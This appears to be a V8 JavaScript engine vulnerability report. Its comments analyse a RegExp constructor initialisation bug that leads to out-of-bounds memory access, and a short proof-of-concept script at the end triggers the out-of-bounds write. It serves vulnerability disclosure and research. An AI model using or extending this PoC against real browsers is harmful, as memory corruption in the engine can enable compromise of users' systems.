143 lines
No EOL
6.5 KiB
JavaScript
143 lines
No EOL
6.5 KiB
JavaScript
/*
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Bug:
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The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:
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// Builtin functions for RegExp.prototype.
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Handle<JSFunction> regexp_fun = InstallFunction(
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global, "RegExp", JS_REGEXP_TYPE,
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JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,
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JSRegExp::kInObjectFieldCount, factory->the_hole_value(),
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Builtins::kRegExpConstructor);
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InstallWithIntrinsicDefaultProto(isolate, regexp_fun,
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Context::REGEXP_FUNCTION_INDEX);
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Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);
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shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));
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shared->set_instance_class_name(isolate->heap()->RegExp_string());
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shared->set_internal_formal_parameter_count(2);
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shared->set_length(2);
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...
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I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.
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There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.
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Exploit:
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This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties.
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Here's a snippet of the method.
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(https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966)
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MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
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Handle<JSFunction> constructor,
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Handle<JSReceiver> new_target) {
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...
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// Fast case, new.target is a subclass of constructor. The map is cacheable
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// (and may already have been cached). new.target.prototype is guaranteed to
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// be a JSReceiver.
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if (new_target->IsJSFunction()) {
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Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
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...
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// Create a new map with the size and number of in-object properties
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// suggested by |function|.
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// Link initial map and constructor function if the new.target is actually a
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// subclass constructor.
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if (IsDerivedConstructor(function->shared()->kind())) {
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Handle<Object> prototype(function->instance_prototype(), isolate);
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InstanceType instance_type = constructor_initial_map->instance_type();
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DCHECK(CanSubclassHaveInobjectProperties(instance_type));
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int embedder_fields =
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JSObject::GetEmbedderFieldCount(*constructor_initial_map);
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int pre_allocated = constructor_initial_map->GetInObjectProperties() -
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constructor_initial_map->UnusedPropertyFields();
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int instance_size;
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int in_object_properties;
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CalculateInstanceSizeForDerivedClass(function, instance_type,
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embedder_fields, &instance_size,
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&in_object_properties);
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int unused_property_fields = in_object_properties - pre_allocated;
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Handle<Map> map =
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Map::CopyInitialMap(constructor_initial_map, instance_size,
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in_object_properties, unused_property_fields);
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...
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return map;
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}
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}
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"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.
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Here's CalculateInstanceSizeForDerivedClass.
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void JSFunction::CalculateInstanceSizeForDerivedClass(
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Handle<JSFunction> function, InstanceType instance_type,
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int requested_embedder_fields, int* instance_size,
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int* in_object_properties) {
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Isolate* isolate = function->GetIsolate();
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int expected_nof_properties = 0;
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for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
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!iter.IsAtEnd(); iter.Advance()) {
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Handle<JSReceiver> current =
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PrototypeIterator::GetCurrent<JSReceiver>(iter);
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if (!current->IsJSFunction()) break;
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Handle<JSFunction> func(Handle<JSFunction>::cast(current));
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// The super constructor should be compiled for the number of expected
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// properties to be available.
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Handle<SharedFunctionInfo> shared(func->shared());
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if (shared->is_compiled() ||
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Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {
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DCHECK(shared->is_compiled());
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expected_nof_properties += shared->expected_nof_properties();
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}
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if (!IsDerivedConstructor(shared->kind())) {
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break;
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}
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}
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CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,
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expected_nof_properties, instance_size,
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in_object_properties);
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}
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It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".
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If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).
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So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.
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PoC:
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*/
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function gc() {
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for (let i = 0; i < 20; i++)
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new ArrayBuffer(0x2000000);
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}
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class Derived extends RegExp {
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constructor(a) {
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const a = 1; // syntax error, Derived->expected_nof_properties() skipped
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}
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}
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let o = Reflect.construct(RegExp, [], Derived);
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o.lastIndex = 0x1234; // OOB write
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gc();
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/*
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int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1
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constructor_initial_map->UnusedPropertyFields(); // 0
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int instance_size;
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int in_object_properties;
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CalculateInstanceSizeForDerivedClass(function, instance_type,
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embedder_fields, &instance_size,
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&in_object_properties);
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// in_object_properties == 0, pre_allocated == 1
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int unused_property_fields = in_object_properties - pre_allocated;
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Another bug?
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There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part.
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*/ |